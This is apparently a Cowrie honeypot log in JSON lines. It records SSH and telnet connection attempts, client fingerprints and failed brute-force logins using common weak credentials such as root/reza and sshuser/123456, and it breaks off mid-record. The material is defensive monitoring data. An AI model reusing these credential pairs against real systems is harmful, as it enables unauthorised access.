{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:22.537229Z","src_ip":"91.134.240.52","session":"b3e51aeee227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:22.618206Z","src_ip":"91.134.240.52","session":"b3e51aeee227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:22.962112Z","src_ip":"91.134.240.52","session":"b3e51aeee227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:24.039958Z","src_ip":"91.134.240.52","session":"b3e51aeee227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57278,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e2d006bc17","protocol":"telnet","message":"New connection: 144.79.218.12:57278 (10.17.0.5:23) [session: 76e2d006bc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:24.377023Z"}
{"eventid":"cowrie.session.closed","duration":36.24666357040405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:24.397202Z","src_ip":"144.79.218.12","session":"469e948dbce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57282,"dst_ip":"10.17.0.5","dst_port":23,"session":"286a158a33a4","protocol":"telnet","message":"New connection: 144.79.218.12:57282 (10.17.0.5:23) [session: 286a158a33a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:24.804964Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35064,"dst_ip":"159.203.135.109","dst_port":22,"session":"b822bae07954","protocol":"ssh","message":"New connection: 68.183.236.1:35064 (159.203.135.109:22) [session: b822bae07954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:26.382191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:26.387489Z","src_ip":"68.183.236.1","session":"b822bae07954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:26.635629Z","src_ip":"68.183.236.1","session":"b822bae07954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza","message":"login attempt [root/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:27.646591Z","src_ip":"68.183.236.1","session":"b822bae07954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:28.894796Z","src_ip":"68.183.236.1","session":"b822bae07954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.37627053260803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:31.322026Z","src_ip":"144.79.218.12","session":"ff1a496485fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7339084148407,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:33.018129Z","src_ip":"144.79.218.12","session":"5ca4df20deb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51502,"dst_ip":"159.203.135.109","dst_port":22,"session":"c865829db7ad","protocol":"ssh","message":"New connection: 159.203.92.129:51502 (159.203.135.109:22) [session: c865829db7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:35.389259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:35.394365Z","src_ip":"159.203.92.129","session":"c865829db7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:35.401339Z","src_ip":"159.203.92.129","session":"c865829db7ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aleksandar","password":"aleksandar","message":"login attempt [aleksandar/aleksandar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:35.412467Z","src_ip":"159.203.92.129","session":"c865829db7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:36.418305Z","src_ip":"159.203.92.129","session":"c865829db7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55061984062195,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:39.726159Z","src_ip":"144.79.218.12","session":"6f97601973e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.8132541179657,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:46.922356Z","src_ip":"144.79.218.12","session":"a36a3a472d34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55338,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e3f3e05865","protocol":"telnet","message":"New connection: 144.79.218.12:55338 (10.17.0.5:23) [session: c4e3f3e05865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:48.535904Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55340,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ce0d3db3d6","protocol":"telnet","message":"New connection: 144.79.218.12:55340 (10.17.0.5:23) [session: 82ce0d3db3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:48.806692Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55348,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f7da7fcf79","protocol":"telnet","message":"New connection: 144.79.218.12:55348 (10.17.0.5:23) [session: 01f7da7fcf79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:48.816298Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b43ef392a46","protocol":"telnet","message":"New connection: 144.79.218.12:44420 (10.17.0.5:23) [session: 0b43ef392a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:50.378408Z"}
{"eventid":"cowrie.session.closed","duration":33.91300106048584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:58.289892Z","src_ip":"144.79.218.12","session":"76e2d006bc17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48235583305359,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:00.287231Z","src_ip":"144.79.218.12","session":"286a158a33a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36480,"dst_ip":"10.17.0.5","dst_port":23,"session":"411b61f2d2b7","protocol":"telnet","message":"New connection: 144.79.218.12:36480 (10.17.0.5:23) [session: 411b61f2d2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:03.130198Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36484,"dst_ip":"10.17.0.5","dst_port":23,"session":"37791ded69eb","protocol":"telnet","message":"New connection: 144.79.218.12:36484 (10.17.0.5:23) [session: 37791ded69eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:04.307068Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36490,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a81c5ca412d","protocol":"telnet","message":"New connection: 144.79.218.12:36490 (10.17.0.5:23) [session: 6a81c5ca412d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:04.590053Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05e5d4d3e28","protocol":"telnet","message":"New connection: 144.79.218.12:36500 (10.17.0.5:23) [session: d05e5d4d3e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:04.955148Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48758,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b954f0a9e7","protocol":"telnet","message":"New connection: 144.79.218.12:48758 (10.17.0.5:23) [session: 17b954f0a9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:14.403359Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48774,"dst_ip":"10.17.0.5","dst_port":23,"session":"82940810aa34","protocol":"telnet","message":"New connection: 144.79.218.12:48774 (10.17.0.5:23) [session: 82940810aa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:18.830728Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34038,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb614d0da5b8","protocol":"telnet","message":"New connection: 144.79.218.12:34038 (10.17.0.5:23) [session: bb614d0da5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:20.234403Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"98cd8baf4ff3","protocol":"ssh","message":"New connection: 159.203.92.129:60434 (159.203.135.109:22) [session: 98cd8baf4ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:20.327495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:20.330391Z","src_ip":"159.203.92.129","session":"98cd8baf4ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:20.333493Z","src_ip":"159.203.92.129","session":"98cd8baf4ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alem","password":"alem","message":"login attempt [alem/alem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:20.342273Z","src_ip":"159.203.92.129","session":"98cd8baf4ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:21.364790Z","src_ip":"159.203.92.129","session":"98cd8baf4ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":50530,"dst_ip":"159.203.135.109","dst_port":22,"session":"784e3bbe12e2","protocol":"ssh","message":"New connection: 68.183.236.1:50530 (159.203.135.109:22) [session: 784e3bbe12e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:23.865771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:23.876024Z","src_ip":"68.183.236.1","session":"784e3bbe12e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:24.123806Z","src_ip":"68.183.236.1","session":"784e3bbe12e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"123456","message":"login attempt [sshuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:25.134087Z","src_ip":"68.183.236.1","session":"784e3bbe12e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67453575134277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:25.210303Z","src_ip":"144.79.218.12","session":"c4e3f3e05865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59417223930359,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:25.410368Z","src_ip":"144.79.218.12","session":"01f7da7fcf79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64060831069946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:25.447201Z","src_ip":"144.79.218.12","session":"82ce0d3db3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:26.382347Z","src_ip":"68.183.236.1","session":"784e3bbe12e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6314,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94c8c2cde82","protocol":"ssh","message":"New connection: 87.251.64.176:6314 (10.17.0.5:22) [session: a94c8c2cde82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:28.274383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:28.279621Z","src_ip":"87.251.64.176","session":"a94c8c2cde82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.957183837890625,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:27:28.335461Z","src_ip":"144.79.218.12","session":"0b43ef392a46","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cb